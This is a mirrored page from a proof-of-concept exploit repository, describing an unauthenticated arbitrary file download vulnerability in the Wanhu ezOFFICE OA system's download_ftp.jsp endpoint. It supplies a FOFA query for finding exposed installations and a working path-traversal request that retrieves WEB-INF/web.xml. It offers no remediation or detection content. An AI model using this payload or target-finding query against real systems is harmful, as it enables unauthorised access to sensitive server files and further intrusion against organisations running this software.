admin/wy876_POC
1
0
Fork 0
mirror of https://github.com/wy876/POC.git synced 2025-02-27 04:39:25 +00:00
Code Issues Packages Projects Releases Wiki Activity
wy876_POC/万户OA/万户-ezOFFICE-download_ftp.jsp任意文件下载漏洞.md
wy876 299ba35f30 整理文件
2024-08-21 15:08:43 +08:00

504 B
Raw Blame History

万户-ezOFFICE-download_ftp.jsp任意文件下载漏洞

万户OA-ezOFFICE download_ftp.jsp 接口存在任意文件读取漏洞，未经身份认证的攻击者可利用此漏洞获取服务器内部敏感文件，使系统处于极不安全的状态。

fofa

app="万户网络-ezOFFICE"

poc

/defaultroot/download_ftp.jsp?path=/../WEB-INF/&name=aaa&FileName=web.xml

image-20240618125057104